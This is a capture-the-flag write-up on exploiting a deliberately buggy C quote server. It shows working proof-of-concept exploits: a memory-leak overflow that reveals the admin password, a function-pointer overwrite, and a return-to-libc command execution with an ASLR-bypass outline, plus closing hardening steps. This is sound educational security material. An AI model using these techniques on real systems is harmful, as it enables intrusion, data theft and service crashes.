PROSA CTF 2010 Quotinator

This program is ridden with bugs, mostly overflows when copying to statically allocated buffers.

I will mention only four different bugs, which are the ones that can provide us with the most value in relation to the competition it was presented in.

But first, some insight about the program.

Quotinator is, basically, a quotes server. It has a list of authors, and for each author it has a list of quotes from that author. A user can add new quotes and authors, or read existing quotes provided that he knows the author name. If the user is able to login with administrator privileges, he is then capable of listing all the existing authors in the database.

The main objective of the competition is to extract keys from the server, and those keys will be stored as quotes from randomly-generated author names. Thus, in order for us to get access to the keys, we effectively need to be logged in as administrator, or extract the authors names in some other mischievous way.

NOTE: The original server was running linux, with DEP and ASLR enabled. All the users were provided with the exact same virtual machine image, so some assumptions will be done regarding the state of each team's machine.

Without further ado...

The server speaks a very rudimentary, line-based protocol. The command-parsing code is the following:

```
static void parse_client(client * c) {
    if (strchr(c->buffer, ' ') || strstr(c->buffer, "\r\n")) {
        /* We have command */
        if (strncmp("QUOTES ", c->buffer, 7) == 0) {
            DEBUG_OUT("QUOTES command.\n");
            c->quotes_command(c);
        } else if (strncmp("QUOTE ", c->buffer, 6) == 0) {
            DEBUG_OUT("QUOTE command.\n");
            c->quote_command(c);
        } else if (strncmp("ADDQUOTE ", c->buffer, 9) == 0) {
            DEBUG_OUT("ADDQUOTE command.\n");
            c->addquote_command(c);
        } else if (strncmp("AUTHORS", c->buffer, 7) == 0) {
            DEBUG_OUT("AUTHORS command.\n");
            c->authors_command(c);
        } else if (strncmp("ADMIN ", c->buffer, 6) == 0) {
            DEBUG_OUT("ADMIN command.\n");
```

```
            c->admin_command(c);
        } else if (strncmp("QUIT", c->buffer, 4) == 0) {
            DEBUG_OUT("QUIT command.\n");
            c->quit_command(c);
        } else {
            DEBUG_OUT("Unknown command.\n");
            c->buffer_content = 0;
        }
    }
}
```

Here's a quick rundown of the available commands, and an example session:

```
- QUOTES....: prints out the number of quotes for a given author
      usage: QUOTES "author_name"

- QUOTE.....: prints out a specific quote for a given author
      usage: QUOTE "author_name" 2

- ADDQUOTE..: adds a quote to the server
      usage: ADDQUOTE "author_name" 17
             Insert Quote Here

- AUTHORS...: prints out all the authors in the server
              you need to be logged in as administrator to use this command
      usage: AUTHORS

- ADMIN.....: logs in as administrator
      usage: ADMIN "admin_name" "admin_password"

- QUIT......: makes coffee
      usage: QUIT


Connected to localhost.
Escape character is '^]'.
AUTHORS
You need to be admin for this
ADMIN "admin" "password"
failed
ADMIN "admin" "jeff"
ok
AUTHORS
1
euronop
QUOTES "euronop"
1
QUOTE "euronop" 1
The internet is really really great...FOR PORN!
ADDQUOTE "euronop" 4
1337
Quote received
QUOTES "euronop"
2
QUOTE "euronop" 2
1337
QUIT
Connection closed by foreign host.
```

To read quotes, we need to know the author name beforehand, and as you can see, we need administrator privileges to list all the authors. However, if we take a closer look at the function for the QUOTE command...

The way the server works, is that each connecting client will be provided with a client_buffer structure, which contains, among other things, 6 function pointers, one for each

command.

```
typedef struct client {
    .
    .
    .
    void (*quit_command)(struct client*);
    void (*quotes_command)(struct client*);
    void (*quote_command)(struct client*);
    void (*addquote_command)(struct client*);
    void (*admin_command)(struct client*);
    void (*authors_command)(struct client*);
} client;
```

And these pointers are initialized in the handle_server() function, whenever a new client connects.

```
static void handle_server() {
                .
                .
                .
                current_client->quit_command      = standard_quit_command;
                current_client->quotes_command    = standard_quotes_command;
                current_client->quote_command     = standard_quote_command;
                current_client->addquote_command  = standard_addquote_command;
                current_client->admin_command     = standard_admin_command;
                current_client->authors_command   = standard_authors_command;
                .
                .
                .
}
```

So now that we know how the very basics work, let's try to find bugs!

Contents

CHAPTER 1: Slowly but

surely

So the function we will be using to read the keys will, most certainly, be standard_quote_command(), which was assigned to QUOTE. If we take a closer look at it...

```
static void standard_quote_command(client * c) {
    char * authorname;
    char * nrstr;
    char * nrstrend;
    int nr, counter;
    author * au;
    quote * qu;
    authorname = strstr(c->buffer, " \"");
    if (authorname) {
        DEBUG_OUT("Found author name\n");
        authorname += 2;
        nrstr = strstr(authorname, "\" ");
        if (nrstr) {
            DEBUG_OUT("Found nr string\n");
            nrstr += 2;
            nrstrend = strstr(nrstr, "\r\n");
            if (nrstrend) {
                DEBUG_OUT("Found nr string end\n");
                sscanf(nrstr, "%d\r\n", &nr);
                counter = nr;
                au = find_author(authors, authorname, nrstr - 2 - authorname);
                qu = au->quotes;
                while (--counter > 0 && qu) qu = qu->next;
                if (qu) {
                    send(c->socket, qu->text, strlen(qu->text), 0);
                    send(c->socket, "\r\n", 2, 0);
                } else {
                    DEBUG_OUT("Found no such quote.\n");
                    char buffer[128];
                    counter = sprintf(buffer, "%s does not have %d quotes\r\n", au->name, nr);
                    send(c->socket, buffer, counter, 0);
                }
            }
        }
    }
    c->buffer_content = 0;
}
```

It parses the command sent, looking for an author name and a quote number. It will then try to look up the author using find_author(), and if it finds it, it will run through that author's quotes and print the requested one. I wonder what find_author() looks like...

```
static author * find_author(author * head, char * name, int namelen) {
    author * result = NULL;
    while (head && !result) {
        if (strncmp(head->name, name, namelen) == 0) {
            /* Found him */
            result = head;
        }
        head = head->next;
    }
    .
    .
    .
}
```

Ha. It's looking up the author using strncmp(), not even comparing the full author's name. You know what that means?

```
Connected to localhost.
Escape character is '^]'.
QUOTE "euronop" 1
The internet is really really great...FOR PORN!
QUOTE "e" 1
The internet is really really great...FOR PORN!
QUOTE "" 1
The internet is really really great...FOR PORN!
```

Exactly. So now, we don't really need to guess the authors' names anymore. We just need to find out what letter(s) they begin with. Much easier to bruteforce.

But we don't want to bruteforce, do we? That's so unelegant. There must be some other way.

CHAPTER 2: Here's looking at you, kid

What happens if we try to look up a quote from a user that doesn't exist? Let's take a deeper look at find_author().

```
static author * find_author(author * head, char * name, int namelen) {
    author * result = NULL;
    while (head && !result) {
        if (strncmp(head->name, name, namelen) == 0) {
            /* Found him */
            result = head;
        }
        head = head->next;
    }
    if (!result) {
        /* He was not found. Create new author structure */
        result = (author*)malloc(sizeof(author));
        memset(result, 0, sizeof(author));
        memcpy(result->name, name, namelen);
        result->next = authors;
        authors = result;
    }

    return result;
}
```

Ok, so if a user doesn't exist, it will be automatically added to the database. And the name we provided will be memcpy()ed to the author's name. What's up with that author structure?

```
#define AUTHOR_NAME_MAX 64
typedef struct author {
    struct author * next;
    char name[AUTHOR_NAME_MAX];
    quote * quotes;
} author;
```

Haaa. The name is limited to 64 bytes, but there doesn't seem to be any boundary check when adding a new author. This means we can overwrite the quotes pointer!

And doesn't the QUOTE command write out to us the quote we specify from that user? You know what that means? I think we can peek at any memory location.

How do we do it? Check this out.

```
static void standard_quote_command(client * c) {
                .
                .
                .
                au = find_author(authors, authorname, nrstr - 2 - authorname);
                qu = au->quotes;
                while (--counter > 0 && qu) qu = qu->next;
                if (qu) {
                    send(c->socket, qu->text, strlen(qu->text), 0);
                    send(c->socket, "\r\n", 2, 0);
                } else {
                .
                .
                .
```

We send a QUOTE command with a really long username. The username won't be found, so it will be added to the author's linked list in find_author(), and it will copy the username to author->name. Since the author's name is long, the quote pointer will be overwritten with the bytes 64-71 in the username we provide (remember, first byte is #0).

Then find_author() returns, and qu points to our provided address (the bytes 64-71 in the username). We ask for quote #1, so --counter will never be larger than 0, and the while() loop is not processed at all.

Then the program will output to us whatever is at qu->text, until it finds a NUL byte. Taking a look at the quote structure...

```
#define QUOTE_SIZE 1024
typedef struct quote {
    struct quote * next;
    char text[QUOTE_SIZE];
} quote;
```

This means that the program will output to us everything it finds at the address we provide plus 8 (remember, it's a 64bit machine, 8 byte pointers). Let's try a simple proof of concept.

```
$ readelf -h quotinator | grep Entry
  Entry point address:               0x400c90
$ # we assume that the ELF header is located at 0x400000. we subtract 8 bytes, so the
$ # address we must send will be 0x3ffff8.
$ echo -e 'QUOTE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf8\xff\x3f" 1
> | nc -q 1 -C -n -v -v 127.0.0.1 2222 | hd
Connection to 127.0.0.1 2222 port [tcp/*] succeeded!
00000000  7f 45 4c 46 02 01 01 0d  0a                       |.ELF.....|
00000009
$
```

Success! Let's try something else now.

```
$ nm quotinator | grep admin_pass
000000000070fb00 B admin_pass
$ echo -e 'QUOTE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf8\xfa\x70" 1
> | nc -q 1 -C -n -v -v 127.0.0.1 2222
Connection to 127.0.0.1 2222 port [tcp/*] succeeded!
jeff
$
```

There is the password! It works almost flawlessly. There are just a couple of bytes the address must not contain, like NUL bytes, a double quote following by a space ("\x22\x20"), and probably one or another that I can't be bothered to find out.

So at this point we can pretty much peek at nearly any address in memory, or crash the service by requesting an unallocated address. Which means that we could simply just read the admin name and password, login as them, and fetch all the keys. It sounds effective enough, but then we'd still be missing out on a lot of fun stuff. Keep on reading.

Onwards to...

CHAPTER 3: From boy to MAN!

Let's take a look now at the ADMIN command. It allows us to login as administrator, provided we know the admin name and password, which we, obviously, do not (well we do if we use the previously vunlerability, but play along will you), but that hasn't stopped us before, has it?

```
static void standard_admin_command(client * c) {
```

```
    char * name;
    char * pass;
    char * pass_end;

    name = strstr(c->buffer, " \"");
    if (name) {
        DEBUG_OUT("Found username\n");
        name += 2;/* Skip past doublequote */
        pass = strstr(c->buffer, "\" \"");
        if (pass) {
            DEBUG_OUT("Found password\n");
            pass += 3; /* Skip past doublequotes */
            pass_end = strchr(pass, '"');
            if (pass_end) {
                DEBUG_OUT("Found password end\n");
                /* Username and password seem to be wellformed */
                memcpy(c->username, name, pass - name - 3);
                c->username[pass - name - 3] = 0;
                .
                .
                .
```

Hold it!

Do you see it?

DO YOU SEE IT?!

WHAT THE HELL. Another memcpy() to a buffer in the client structure. But, that buffer couldn't possibly be static, now could it?

```
#define USERNAME_MAX 64

#define CLIENT_RECV_BUFFER 4095 /* We add one for a NULL terminator later */
typedef struct client {
    struct client * next;
    int socket;
    int should_disconnect;
    int buffer_content;
    char buffer[CLIENT_RECV_BUFFER + 1];/* We want a NULL terminator */
    char username[USERNAME_MAX];/* This is just stored for checking but will be used for ... */
    char password[USERNAME_MAX];/* This is just stored for checking but will be used for ... */

    void (*quit_command)(struct client*);
    void (*quotes_command)(struct client*);
    void (*quote_command)(struct client*);
    void (*addquote_command)(struct client*);
    void (*admin_command)(struct client*);
    void (*authors_command)(struct client*);
} client;
```

Well, I guess it could. :-)

So, what now? If we send a really long username (longer than 64 bytes) we are going to overwrite everything that follows it in the client structure. Is there anything worth overwriting?

Of course, there always is.

You see those function pointers? Don't they look delicious?

So, let's think together. If we are successfully logged in as administrator, we have access to admin_authors_command(). So what if we overwrote one of the function pointers and

made it point to admin_authors_command()? Then we could just call it like that. And we could list all the authors. And we could proceed to extract all the keys from those authors.

It sounds too good to be true. Let's try, again, a simple proof of concept.

```
$ nm quotinator | grep admin_authors
00000000004014c7 t admin_authors_command
$ tail -45 read_keys.c
int main (int argc, char *argv[])
{
        int sockfd;
        int i, n_authors;
        char *host;
        char *port = "666";
        char author[255][4096];
        char buf[4096] = "ADMIN \""
                        /* 64-byte username */
                         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        /* 64-byte password */
                         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                         "AAAA"         /* 4-byte optimization padding */
                         "\xc7\x14\x40" /* quit_command function pointer = admin_authors_command(
                         "\" \"PASSWORD\"\r\n";

        host = argv[1];
        port = argv[2];

        sockfd = tcp_connect(host, port);

        write(sockfd, buf, strlen(buf));        /* send overflow buffer */
        readline(sockfd, buf, sizeof(buf));

        write(sockfd, "QUIT\r\n", 6);           /* call quit command = admin_authors_command() */
        readline(sockfd, buf, sizeof(buf));
        buf[strlen(buf)-2] = 0;

        n_authors = atoi(buf);                  /* it returns the number of authors... */

        for(i=0;i<n_authors;i++) {
               /* ... followed by each author in a separate line */
                readline(sockfd, author[i], sizeof(author[i]));
                author[i][strlen(author[i])-2] = 0;
        }

        for(i=0;i<n_authors;i++) {
                sprintf(buf, "QUOTE \"%s\" 1\r\n", author[i]);  /* get first quote by each author
                write(sockfd, buf, strlen(buf));
                readline(sockfd, buf, sizeof(buf));
                buf[strlen(buf)-2] = 0;
                printf("%s\n", buf);    /* print out quote/key */
        }

        close(sockfd);

        return 0;
}
$ gcc -o read_keys read_keys.c
$ ./read_keys localhost 2222
The internet is really really great...FOR PORN!
$
```

This was, give or take, the exploit we ended up using during the competition. The only functionality we had also included was, after fetching all the keys, overwriting the function pointer one more time with an invalid address and calling it in order to make the service crash. This would lead to all the quotes/keys being lost (they are only stored in memory), and the target team to lose points for missing keys during the

polling server's routine checks.

Once again, this only works because all the teams were running the exact same virtual machine, so we were able to hardcode the address to admin_authors_command().

So, we're done, right?

WRONG!

We're still missing the holy grail of exploitation!

I now present you with...

CHAPTER 4: The unattainable quest for infinite wisdom, or: How I learned to stop worrying and love remote bugs

As we've seen in the previous bug, we can make the service run code at (nearly) any address we specify. We surely can exploit that to drop a shell or obtain root access some other way.

The stack and the heap are both non-excutable (Data Execution Prevention), so there's no point in returning to code we place there. The first thing that comes to mind is returning to libc, more specifically calling system(). That function takes a string argument, and executes it in a shell - thereby turning data into code (commands) and effectively bypassing DEP. Let's try to create a file on /tmp, just as a proof of concept.

The first problem we're faced with is how to pass the command line as the first argument to system()? Taking a look at the code...

```
static void parse_client(client * c) {
        .
        .
        .
        } else if (strncmp("QUIT", c->buffer, 4) == 0) {
            DEBUG_OUT("QUIT command.\n");
            c->quit_command(c);
        .
        .
        .
}
```

The argument is a pointer to the client structure. These structures a global array, as you can see below.

```
#define USERNAME_MAX 64

#define CLIENT_RECV_BUFFER 4095 /* We add one for a NULL terminator later */
typedef struct client {
    struct client * next;
    int socket;
    int should_disconnect;
    int buffer_content;
    char buffer[CLIENT_RECV_BUFFER + 1];/* We want a NULL terminator */
    char username[USERNAME_MAX];/* This is just stored for checking but will be used for ... */
    char password[USERNAME_MAX];/* This is just stored for checking but will be used for ... */

    void (*quit_command)(struct client*);
    void (*quotes_command)(struct client*);
    void (*quote_command)(struct client*);
    void (*addquote_command)(struct client*);
    void (*admin_command)(struct client*);
    void (*authors_command)(struct client*);
} client;

#define MAX_CLIENTS 256
client client_buffer[MAX_CLIENTS];
```

So in order to control the argument passed to system(), we need to overwrite the beginning of one of these structures, starting at the next pointer. This sounds pretty hard, considering that all we have is a buffer overflow, and that we start overflowing from username on. There's no way we can underflow and overwrite the next pointer, is there?

Not really.

But not all hope is lost!

Remember that the structures are laying in memory as an array? This means that they're all following each other in memory. So, just because we can't overflow the next pointer in our current client_buffer, it doesn't mean we cannot overflow ANOTHER client_buffer's next pointer!

See where we're getting at?

If we have two clients connected, they will have two consecutive client_buffers. So if we, with the first client, send a buffer long enough to overflow all the current client's function pointers, whatever we send after that will overflow the next client_buffer structure from the very beginning, which is to say, the next pointer and whatever follows.

So this means that we cannot control our own next pointer, but we can control the second client's next pointer. What if we are BOTH the first and the second client?

So my plan is, we create two connections one right after the other. We will, most certainly, get two consecutive client_buffers.

On the second client, we overwrite the quit_command pointer with the address to system().

On the first one, we overwrite the second client's client_buffer, setting our argument to syscall at the beginning of the structure (the next pointer and whatever follows).

Finally we send the QUIT command on client two, and it will call system("our command"), and we GET SIGNAL.

There are just a few problems with this. Let's take a look at some code.

```
static void handle_clients() {
    prev_client = NULL;
    current_client = active_clients;
    while (current_client) {
        DEBUG_OUT("Handling client: %d\n", current_client->socket);
        /* Read to the client */
        int bytes_read;
        while (current_client->buffer_content < CLIENT_RECV_BUFFER && (bytes_read =
read(current_client->socket, &current_client->buffer[current_client->buffer_content],
CLIENT_RECV_BUFFER - current_client->buffer_content)) > 0) {
            DEBUG_OUT("Read %d bytes from %d\n", bytes_read, current_client->socket);
            current_client->buffer_content += bytes_read;
        }
        DEBUG_OUT("bytes_read is %d\n", bytes_read);
        /* Either buffer is full, or we have read all that the client has sent, or ... */
        if (bytes_read == 0) {
            DEBUG_OUT("Client disconnected\n");
            /* Client has disconnected */
            current_client->should_disconnect = 1;
        } else {
            current_client->buffer[current_client->buffer_content] = 0;
            parse_client(current_client);
        .
        .
        .
        } else {
            prev_client = current_client;
            current_client = current_client->next;
        }
    }
}
```

This is the code that will end up calling parse_client(), which will call our overwritten quit_command function pointer, and execute system(). There are a couple of things we need to keep in attention here.

If the command we want to send is less than or equal to 7 bytes, we can contain it entirely in the next pointer, and we're good to go. But that's a very strict limitation. We've come this far, can surely do better than that. The problem is that after the next pointer lies the socket descriptor, so as soon as we overwrite it, we cannot send or receive anything to or from that client anymore. How are we going to call the QUIT command then?

Worry not, for yours truly has the solution right here.

If you take a good look at the code, you can see that parse_client() is ALWAYS called as long as bytes_read is not zero. We know that the sockets are set to nonblocking, so

even if there is nothing in the socket buffers the parse_client function WILL BE CALLED. This means that we don't actually need to send anything from client two in order to call the QUIT command-- we just need to put it in client_buffer->buffer, and that we can do!

Or can we? If we do that, we will end up overwriting the following values:

```
    struct client * next;
    int socket;
    int should_disconnect;
    int buffer_content;
    char buffer[CLIENT_RECV_BUFFER + 1];/* We want a NULL terminator */
```

The next pointer is no problem.

The socket descriptor, as we've seen above, is no problem either.

The should_disconnect flag is not checked anytime before the call to parse_client(), so we're also good to go with that one.

We might have a problem with buffer_content, however.

As you can see above, right before the call to parse_client(), the code inserts a NUL byte in buffer, at the buffer_content position. If we provide a random value for buffer_content, there is a big chance that it will end up in a memory address that is either unallocated or unwritable, which would make the service crash. We also cannot just send a small enough value that would make the NUL byte end up in the buffer, because that would mean that we would have to send NUL bytes to make buffer_content small enough (which we can't), or not overwrite anything beyond it, which is exactly what we're trying to do...reaching buffer.

What can we do then?

Hmmm, do you notice what type buffer_content is?

int.

signed int, to be more specific.

Do you see it? We can just provide a negative value. It will be devoid of NUL bytes, and it will end up overwriting the previous client_buffer or something around that area. It won't crash, and we will be good to go!

This leaves us with a bit of a problem still. We can fit out command in the 15 bytes that make up next, socket and should_disconnect. But, WE WANT MOAR!!!

The solution here is just to send the beginning of the command as a variable declaration, and place the real

command to be executed in buffer, right after QUIT, and a semicolon.

Eg:

```
system("X='0000011112222\xdd\xff\xff\xffQUIT';touch /tmp/PWNED");
        ^       ^   ^   ^               ^
        |       |   |   |               `----------------------buffer
        |       |   |   `--------------------buffer_content
        |       |   `------should_disconnect
        |       `--socket
        `--next
```

So now we have everything to be able to run our own shell commands. Let's try once again a proof of concept.

Attention: This time I'll be running the server through gdb just to temporarily disable Address Space Layout Randomization, for the sake of experimenting. If this works, we will then figure out a way of bypassing ASLR using the techniques we discovered before.

```
$ gdb -q ./quotinator
(gdb) show disable-randomization
Disabling randomization of debuggee's virtual address space is on.
(gdb) r 2222 admin jeff
Starting program quotinator.
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b382a3 in select () from /lib/libc.so.6
(gdb) p system
$1 = {<text variable, no debug info>} 0x7ffff7a9ad60 <system>
(gdb) det
Detaching from program quotinator, process 28912
(gdb) q
$ tail -36 ret_libc.c
int main (int argc, char *argv[])
{
        int first;
        int second;
        char *host;
        char *port = "666";

        char sendbuf1[4096] =
                "ADMIN \""
                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                /* second client_buffer */
                "X='00000"      /* next */
                "1111"          /* socket */
                "2222"          /* should_disconnect */
                "\xdd\xff\xff\xff"              /* buffer_content */
                "QUIT';touch /tmp/PWNED"        /* buffer */
                "\" \"PASSWORD\"\r\n";

        char sendbuf2[4096] =
                "ADMIN \""
                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* username */
                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* password */
                "AAAA"                          /* optimization padding */
                "\x60\xad\xa9\xf7\xff\x7f"      /* quit_command function pointer */
                "\" \"PASSWORD\"\r\n";

        host = argv[1];
        port = argv[2];

        first = tcp_connect(host, port);
        second = tcp_connect(host, port);
```

```
        write(second, sendbuf2, strlen(sendbuf2));
        sleep(1);
        write(first,  sendbuf1, strlen(sendbuf1));
        sleep(2);
        return 0;
}
$ gcc -o ret_libc ret_libc.c
$ ls /tmp/P*
ls: cannot access /tmp/P*: No such file or directory
$ ./ret_libc 127.0.0.1 2222
$ ls /tmp/P*
/tmp/PWNED
$
```

It worked! We just needed to fetch the address for the system() libcall from gdb and hardcode it into the exploit.

Now, this is all very pretty, but the system that we were provided had ASLR enabled. How could we bypass it?

CHAPTER 4.1: Bypassing ASLR for Maximum Pwnage

Remember chapter 2? We could leak information from the binary and pretty much peek around the whole process memory. Let's extend that to a full remote symbol resolver.

First, guess the binary's base address. Since we're using the GNU toolchain on AMD64, 0x400000 is a very safe bet. We can't read the e_phoff field because 0x400018 contains a null byte. Luckily the GNU toolchain is as predictable as the phase of the moon, so we know that the program header will be located at 0x400040. We can't read the first couple of entries, but as soon as the address is above 0x400100, we're good. DYNAMIC is the fifth entry. That's perfect.

Armed with the knowledge of DYNAMIC's address, we can scan it for the PLTGOT entry. It's the Procedure Linkage Table Global Offset Table, and in it we can find the addresses of printf(), memset(), close(), and many other imports from libc. We know that the binary is not linked against any other libraries, so if we find an address here and it's not inside the main binary, it's inside libc. We note the lowest address.

We have an address of some function near the beginning of libc. We know that it's inside the .text segment, which is right after the ELF header. We round the address down to the nearest page boundary, and check for a valid ELF magic value. If it's not there, we subtract the size of a page, and try again. We keep doing this, until we've found the base address of libc. The address is randomized - for security reasons - but the process has leaked enough information for us to derive it. So far so good.

We now need to find the address of system() inside libc. If the system administrator has kept the default version of libc, we can add a known offset to the base address. We don't want to rely on that. We want to be über l33t. We repeat the

steps to find the DYNAMIC segment, this time inside libc instead of inside the main binary.

From DYNAMIC in libc we can find it's HASH (hash table of symbols for fast lookup), STRTAB (string table for symbol names) and SYMTAB (symbol table for function offsets and string table indices). We hash "system" using the ELF Hashing Function, and look for it in the hash table. We follow the links around the chains of symbols with the same hash value, until we find the symbol we're looking for: The system() symbol that will give us remote code execution as root.

Once we've located system() we run the exploit from chapter 4, and we're in your boxxen. We use around 335 peeks to achieve this, but we only need to root you once. Recompiling with different optimization flags will not help you. DEP will not help you. ASLR will not help you. Linus himself will not be able to help you. Theo de Raadt might be able, but unwilling, to help you.

http://www.youtube.com/watch?v=w3Nzs5ea-w8

CHAPTER 5: Protecting Yourself

We knew that the binary contained a lot of vulnerabilities, and that they could be used to gain various levels of control over the process. We quickly gave up on trying to fix all bugs. We wouldn't want any other team to steal a flag from us, but we most certainly wouldn't want them to have root on our box. OMG what to do?

We did three things. First of all, we quickly recompiled with optimization enabled, yielding a binary which was quite different from the original, but functionally equivalent. This should ensure that other teams won't return-chain through the main binary, and that they will not be able to guess the address of admin_authors_command() like we did.

After making sure that we were still up, we padded various structures, so the offsets would be messed up:

```
    char username[USERNAME_MAX];/* This is just stored for checking but will be used for ... */
    char dummy5[512];
    char password[USERNAME_MAX];/* This is just stored for checking but will be used for ... */
    char dummy6[512];
    void (*quit_command)(struct client*);
    char dummy7[16];
```

Good luck trying to guess those while in a state of panic! Yes, it adds a few MB to the memory usage, but not enough to make us care.

We also added code to drop root privileges right after the

port binding:

```
    if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == -1) {
        perror("bind");
        exit(-1);
    }
    DEBUG_OUT("Server socket is bound\n");

    setuid(12345);

    /* Allocate queue for 10 sockets */
    listen(server_socket, 10);
    DEBUG_OUT("Server socket has room for 10 incoming connections\n");
```

You might be able to get a shell on our box and - since this is Linux - easily gain root from there. But there is no point in giving free root to newbies, so we hardened it a bit.

The first security measure would have been ineffective against the exploit we demonstrated in Chapter 4.1 (but which we didn't finish during the competition). The second would have been somewhat effective (we would need to guess offsets), but we didn't add enough padding to make the binary unexploitable. We didn't know better at the time. The third measure would have given the attacker an unprivileged shell instead of a root shell, so he would have to work harder to own us.

This was a great challenge, and it was very realistic (AMD64, DEP, ASLR). We had a lot of fun owning it.